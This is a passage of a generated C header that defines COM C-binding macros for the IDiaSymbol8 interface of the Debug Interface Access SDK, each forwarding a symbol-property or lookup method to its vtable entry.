(This)->lpVtbl -> get_intro(This,pRetVal) ) \n\n#define IDiaSymbol8_get_pure(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_pure(This,pRetVal) ) \n\n#define IDiaSymbol8_get_callingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) \n\n#define IDiaSymbol8_get_value(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_value(This,pRetVal) ) \n\n#define IDiaSymbol8_get_baseType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) \n\n#define IDiaSymbol8_get_token(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_token(This,pRetVal) ) \n\n#define IDiaSymbol8_get_timeStamp(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) \n\n#define IDiaSymbol8_get_guid(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_guid(This,pRetVal) ) \n\n#define IDiaSymbol8_get_symbolsFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) \n\n#define IDiaSymbol8_get_reference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_reference(This,pRetVal) ) \n\n#define IDiaSymbol8_get_count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_count(This,pRetVal) ) \n\n#define IDiaSymbol8_get_bitPosition(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) \n\n#define IDiaSymbol8_get_arrayIndexType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) \n\n#define IDiaSymbol8_get_packed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_packed(This,pRetVal) ) \n\n#define IDiaSymbol8_get_constructor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) \n\n#define IDiaSymbol8_get_overloadedOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) \n\n#define IDiaSymbol8_get_nested(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_nested(This,pRetVal) ) \n\n#define IDiaSymbol8_get_hasNestedTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) \n\n#define IDiaSymbol8_get_hasAssignmentOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) \n\n#define IDiaSymbol8_get_hasCastOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) \n\n#define IDiaSymbol8_get_scoped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) \n\n#define IDiaSymbol8_get_virtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol8_get_indirectVirtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol8_get_virtualBasePointerOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) \n\n#define IDiaSymbol8_get_virtualTableShape(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) \n\n#define IDiaSymbol8_get_lexicalParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) \n\n#define IDiaSymbol8_get_classParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) \n\n#define IDiaSymbol8_get_typeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) \n\n#define IDiaSymbol8_get_arrayIndexTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) \n\n#define IDiaSymbol8_get_virtualTableShapeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) \n\n#define IDiaSymbol8_get_code(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_code(This,pRetVal) ) \n\n#define IDiaSymbol8_get_function(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_function(This,pRetVal) ) \n\n#define IDiaSymbol8_get_managed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_managed(This,pRetVal) ) \n\n#define IDiaSymbol8_get_msil(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_msil(This,pRetVal) ) \n\n#define IDiaSymbol8_get_virtualBaseDispIndex(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) \n\n#define IDiaSymbol8_get_undecoratedName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) \n\n#define IDiaSymbol8_get_age(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_age(This,pRetVal) ) \n\n#define IDiaSymbol8_get_signature(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_signature(This,pRetVal) ) \n\n#define IDiaSymbol8_get_compilerGenerated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) \n\n#define IDiaSymbol8_get_addressTaken(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) \n\n#define IDiaSymbol8_get_rank(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_rank(This,pRetVal) ) \n\n#define IDiaSymbol8_get_lowerBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) \n\n#define IDiaSymbol8_get_upperBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) \n\n#define IDiaSymbol8_get_lowerBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) \n\n#define IDiaSymbol8_get_upperBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) \n\n#define IDiaSymbol8_get_dataBytes(This,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) \n\n#define IDiaSymbol8_findChildren(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol8_findChildrenEx(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol8_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) \n\n#define IDiaSymbol8_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) \n\n#define IDiaSymbol8_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) \n\n#define IDiaSymbol8_get_targetSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) \n\n#define IDiaSymbol8_get_targetOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) \n\n#define IDiaSymbol8_get_targetRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol8_get_targetVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol8_get_machineType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) \n\n#define IDiaSymbol8_get_oemId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) \n\n#define IDiaSymbol8_get_oemSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol8_get_types(This,cTypes,pcTypes,pTypes)\t\\\n    ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) \n\n#define IDiaSymbol8_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds)\t\\\n    ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) \n\n#define IDiaSymbol8_get_objectPointerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) \n\n#define IDiaSymbol8_get_udtKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) \n\n#define IDiaSymbol8_get_undecoratedNameEx(This,undecorateOptions,name)\t\\\n    ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) \n\n#define IDiaSymbol8_get_noReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) \n\n#define IDiaSymbol8_get_customCallingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) \n\n#define IDiaSymbol8_get_noInline(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) \n\n#define IDiaSymbol8_get_optimizedCodeDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol8_get_notReached(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) \n\n#define IDiaSymbol8_get_interruptReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) \n\n#define IDiaSymbol8_get_farReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isStatic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) \n\n#define IDiaSymbol8_get_hasDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isLTCG(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isDataAligned(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) \n\n#define IDiaSymbol8_get_hasSecurityChecks(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) \n\n#define IDiaSymbol8_get_compilerName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) \n\n#define IDiaSymbol8_get_hasAlloca(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) \n\n#define IDiaSymbol8_get_hasSetJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) \n\n#define IDiaSymbol8_get_hasLongJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) \n\n#define IDiaSymbol8_get_hasInlAsm(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) \n\n#define IDiaSymbol8_get_hasEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) \n\n#define IDiaSymbol8_get_hasSEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) \n\n#define IDiaSymbol8_get_hasEHa(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isNaked(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isAggregated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isSplitted(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) \n\n#define IDiaSymbol8_get_container(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_container(This,pRetVal) ) \n\n#define IDiaSymbol8_get_inlSpec(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) \n\n#define IDiaSymbol8_get_noStackOrdering(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) \n\n#define IDiaSymbol8_get_virtualBaseTableType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) \n\n#define IDiaSymbol8_get_hasManagedCode(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isHotpatchable(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isCVTCIL(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isMSILNetmodule(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isCTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isStripped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) \n\n#define IDiaSymbol8_get_frontEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol8_get_backEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol8_get_wasInlined(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) \n\n#define IDiaSymbol8_get_strictGSCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isCxxReturnUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isConstructorVirtualBase(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) \n\n#define IDiaSymbol8_get_RValueReference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) \n\n#define IDiaSymbol8_get_unmodifiedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) \n\n#define IDiaSymbol8_get_framePointerPresent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isSafeBuffers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) \n\n#define IDiaSymbol8_get_intrinsic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) \n\n#define IDiaSymbol8_get_sealed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) \n\n#define IDiaSymbol8_get_hfaFloat(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) \n\n#define IDiaSymbol8_get_hfaDouble(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) \n\n#define IDiaSymbol8_get_liveRangeStartAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol8_get_liveRangeStartAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol8_get_liveRangeStartRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol8_get_countLiveRanges(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) \n\n#define IDiaSymbol8_get_liveRangeLength(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) \n\n#define IDiaSymbol8_get_offsetInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) \n\n#define IDiaSymbol8_get_paramBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol8_get_localBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isLocationControlFlowDependent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) \n\n#define IDiaSymbol8_get_stride(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_stride(This,pRetVal) ) \n\n#define IDiaSymbol8_get_numberOfRows(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) \n\n#define IDiaSymbol8_get_numberOfColumns(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isMatrixRowMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) \n\n#define IDiaSymbol8_get_numericProperties(This,cnt,pcnt,pProperties)\t\\\n    ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) \n\n#define IDiaSymbol8_get_modifierValues(This,cnt,pcnt,pModifiers)\t\\\n    ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) \n\n#define IDiaSymbol8_get_isReturnValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isOptimizedAway(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) \n\n#define IDiaSymbol8_get_builtInKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) \n\n#define IDiaSymbol8_get_registerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) \n\n#define IDiaSymbol8_get_baseDataSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) \n\n#define IDiaSymbol8_get_baseDataOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) \n\n#define IDiaSymbol8_get_textureSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) \n\n#define IDiaSymbol8_get_samplerSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) \n\n#define IDiaSymbol8_get_uavSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) \n\n#define IDiaSymbol8_get_sizeInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) \n\n#define IDiaSymbol8_get_memorySpaceKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) \n\n#define IDiaSymbol8_get_unmodifiedTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) \n\n#define IDiaSymbol8_get_subTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) \n\n#define IDiaSymbol8_get_subType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subType(This,pRetVal) ) \n\n#define IDiaSymbol8_get_numberOfModifiers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) \n\n#define IDiaSymbol8_get_numberOfRegisterIndices(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isHLSLData(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isPointerToDataMember(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isPointerToMemberFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isSingleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isMultipleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isVirtualInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) \n\n#define IDiaSymbol8_get_restrictedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isPointerBasedOnSymbolValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) \n\n#define IDiaSymbol8_get_baseSymbol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) \n\n#define IDiaSymbol8_get_baseSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol8_get_objectFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isAcceleratorGroupSharedLocal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isAcceleratorPointerTagLiveRange(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isAcceleratorStubFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) \n\n#define IDiaSymbol8_get_numberOfAcceleratorPointerTags(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isSdl(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isWinRTPointer(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isRefUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isValueUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isInterfaceUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) \n\n#define IDiaSymbol8_findInlineFramesByAddr(This,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) \n\n#define IDiaSymbol8_findInlineFramesByRVA(This,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) \n\n#define IDiaSymbol8_findInlineFramesByVA(This,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) \n\n#define IDiaSymbol8_findInlineeLines(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) \n\n#define IDiaSymbol8_findInlineeLinesByAddr(This,isect,offset,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) \n\n#define IDiaSymbol8_findInlineeLinesByRVA(This,rva,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) \n\n#define IDiaSymbol8_findInlineeLinesByVA(This,va,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) \n\n#define IDiaSymbol8_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) \n\n#define IDiaSymbol8_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) \n\n#define IDiaSymbol8_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags)\t\\\n    ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) \n\n#define IDiaSymbol8_getSrcLineOnTypeDefn(This,ppResult)\t\\\n    ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) \n\n#define IDiaSymbol8_get_isPGO(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) \n\n#define IDiaSymbol8_get_hasValidPGOCounts(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) \n\n#define IDiaSymbol8_get_isOptimizedForSpeed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) \n\n#define IDiaSymbol8_get_PGOEntryCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) \n\n#define IDiaSymbol8_get_PGOEdgeCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) \n\n#define IDiaSymbol8_get_PGODynamicInstructionCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) \n\n#define IDiaSymbol8_get_staticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) \n\n#define IDiaSymbol8_get_finalLiveStaticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) \n\n#define IDiaSymbol8_get_phaseName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) \n\n#define IDiaSymbol8_get_hasControlFlowCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) \n\n#define IDiaSymbol8_get_constantExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) \n\n#define IDiaSymbol8_get_dataExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) \n\n#define IDiaSymbol8_get_privateExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) \n\n#define IDiaSymbol8_get_noNameExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) \n\n#define IDiaSymbol8_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol8_get_exportIsForwarder(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) \n\n#define IDiaSymbol8_get_ordinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) \n\n#define IDiaSymbol8_get_frameSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) \n\n#define IDiaSymbol8_get_exceptionHandlerAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol8_get_exceptionHandlerAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol8_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol8_get_exceptionHandlerVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol8_findInputAssemblyFile(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) \n\n#define IDiaSymbol8_get_characteristics(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) \n\n#define IDiaSymbol8_get_coffGroup(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> 